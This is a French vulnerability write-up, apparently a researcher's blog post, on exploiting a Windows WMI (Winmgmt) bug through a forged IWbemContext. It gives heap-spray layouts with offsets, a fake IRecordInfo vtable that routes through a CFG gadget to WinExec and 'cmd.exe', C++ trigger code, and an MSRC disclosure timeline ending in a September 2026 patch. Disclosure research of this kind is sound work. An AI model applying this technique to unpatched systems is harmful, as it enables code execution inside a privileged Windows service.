G + 0x00 +0x00 [ Métadonnées de l'allocateur (NT Heap / LFH) ]
(Laissées intactes pour éviter les corruptions)
─────────────────────────────────────────────────────────────────────────────
G + 0x10 +0x10 Faux objet IRecordInfo (Pointé par pRecInfo)
└─ lpVtbl ───────────────┐
G + 0x18 +0x18 Arg / Contexte pour pont │ (ex: RCX/RDX selon gadget)
──────────────────────────────────────────────────│──────────────────────────
G + 0x30 +0x30 Fausse Vtable <──────────┘
├─ +0x00 : QueryInterface -> g_noop (ret 0)
├─ +0x08 : AddRef -> g_noop (ret 0)
├─ +0x10 : Release -> g_noop (ret 0)
├─ ...
├─ +0x28 : RecordCopy -> g_bridge (Gadget CFG)
└─ ...
─────────────────────────────────────────────────────────────────────────────
G + 0xB0 +0xB0 pvRecord : "cmd.exe /c ..." (terminé par \0)
─────────────────────────────────────────────────────────────────────────────
Déclenchement de la vulnérabilité
Le PoC final regroupe ensuite les deux ingrédients dans un seul IWbemContext :
- des propriétés
VT_ARRAY | VT_UI1, nomméesspray000000,spray000001, etc., transportent au total environ 4 Mio de données formées de copies de la fausse structure ; - la propriété
zz_record, placée après elles dans le flux, contient le tableau deVARIANTdont l’élément sera transformé enVT_RECORD.
Le mot spray devient ici très concret : BuildPattern produit une fausse structure construite pour l’adresse cible G, puis la boucle crée assez de tableaux d’octets pour en transporter environ 4 Mio. Avec chunkBytes = g_objSize, chaque propriété contient essentiellement une copie de cette même structure. Elles sont ajoutées avant zz_record, qui porte le déclencheur.
La valeur de chaque propriété de spray est bien enveloppée dans un VARIANT WMI, mais son contenu est un simple tableau d’octets VT_UI1. Ces octets représentent le faux objet, sa vtable, les pointeurs vers g_bridge et WinExec, puis la commande ; ils ne contiennent aucun VT_RECORD.
Avec environ 4 Mio de spray et un g_objSize de 0x120 ou 0x130, la boucle crée de l’ordre de quatorze mille propriétés.
IWbemContext construit côté client
│
├─ spray000000 : [ copie du motif BuildPattern(G) ]
├─ spray000001 : [ copie du même motif ]
├─ spray000002 : [ copie du même motif ]
├─ ...
└─ zz_record : [ un VARIANT qui deviendra VT_RECORD ] ← une seule fois
Chaque copie du motif contient les mêmes valeurs absolues, calculées pour l’unique adresse cible G :
octets +0x10 : G + 0x30 pointeur vers la fausse vtable
octets +0x18... adresse de WinExec / données du pont
octets +0x30 : ... début de la fausse vtable
octets +0x58 : g_bridge slot RecordCopy
octets +0xB0 : "cmd.exe ..." commande
Le spray multiplie les copies pour qu’au moins l’une d’elles réoccupe le bloc précis commençant à G.
Dans la mémoire de Winmgmt, une tentative réussie se déroule ainsi :
1. Après la fuite puis la libération des abonnements
adresse A1 adresse A2 adresse G adresse A4
[ bloc libre ] [ bloc libre ] [ bloc libre ] [ bloc libre ]
2. Désérialisation des propriétés spray000000, spray000001, ...
[ copie du motif ] [ autre allocation ] [ copie à G ] [ copie du motif ]
├─ G+0x10 : lpVtbl = G+0x30
├─ G+0x58 : g_bridge
└─ G+0xB0 : commande
Le numéro de la propriété qui réoccupe G n'est pas connu :
l'allocateur choisit les emplacements.
3. Désérialisation de l'unique zz_record, dans une allocation distincte
VT_RECORD
├─ pRecInfo ──> G+0x10 ──> lpVtbl = G+0x30
│ └─ RecordCopy à G+0x58 ──> g_bridge
│
└─ pvRecord ──> G+0xB0 ──> "cmd.exe /c ..." ─────────> argument de WinExec
4. VariantCopy traite ce record et suit cette chaîne de pointeurs.
Le faux IRecordInfo et son unique déclencheur sont ainsi présents dans Winmgmt au cours de la même désérialisation. Cette organisation évite une attente arbitraire entre un premier appel de spray et un second appel de déclenchement, ainsi qu’une libération du spray entre les deux. Si aucune copie ne réoccupe G, pRecInfo ne rencontre pas la structure attendue : c’est un échec de placement et le PoC recommence avec une nouvelle tentative.
La requête SELECT * FROM __ClassModificationEvent correspond à un événement intrinsèque traité par le sous-système d’événements de Winmgmt. L’adresse divulguée, les allocations du spray et l’utilisation du faux objet concernent donc le même processus.
Enfin, BuildContextBlob produit ce flux unique. Le faux IMarshal est présenté comme paramètre IWbemContext, puis un seul appel asynchrone remet l’ensemble à COM :
IWbemContext* fakeCtx =
reinterpret_cast<IWbemContext*>(static_cast<IMarshal*>(&g_marshaler));
Bstr query(L"SELECT * FROM __ClassModificationEvent");
g_blob = BuildContextBlob(g, fullCmd); // Spray et VT_RECORD dans le même flux.
HRESULT hr2 = svc->ExecNotificationQueryAsync(lang, query, 0, fakeCtx, &g_sink);

Impact et timeline
La vulnérabilité a été découverte courant juin 2026, et les versions de Windows affectées vont de la version de Windows 10 1709 à Windows 11 25H2, en incluant toutes les version intermédiaires majeures, ainsi que les versions Windows Server.
Dans la théorie, ce bug est également déclenchable à distance, pour un utilisateur qui possède les droit d’activation DCOM (sur un serveur ADCS par exemple), cependant, la partie cruciale de la fuite d’adresse de la heap n’est pas possible à distance sans les privilèges Administrateur sur la machine (du moins il n’a pas été possible de le prouver lors de mes recherches). L’exploitation de ce bug à distance reste donc entièrement théorique.
Le source code du PoC ainsi que sa version compilée sont disponibles ici
Concerant la timeline :
- 21/07/2026 - Report initial à MSRC
- 16/08/2026 - Microsoft confirme la vulnérabilité
- 16/08/2026 - Microsoft indique qu’un report similaire vise la même vulnérabilité et qu’aucune récompense ne sera donnée pour ce bug
- 08/09/2026 - Correction du bug lors du patch tuesday de septembre 2026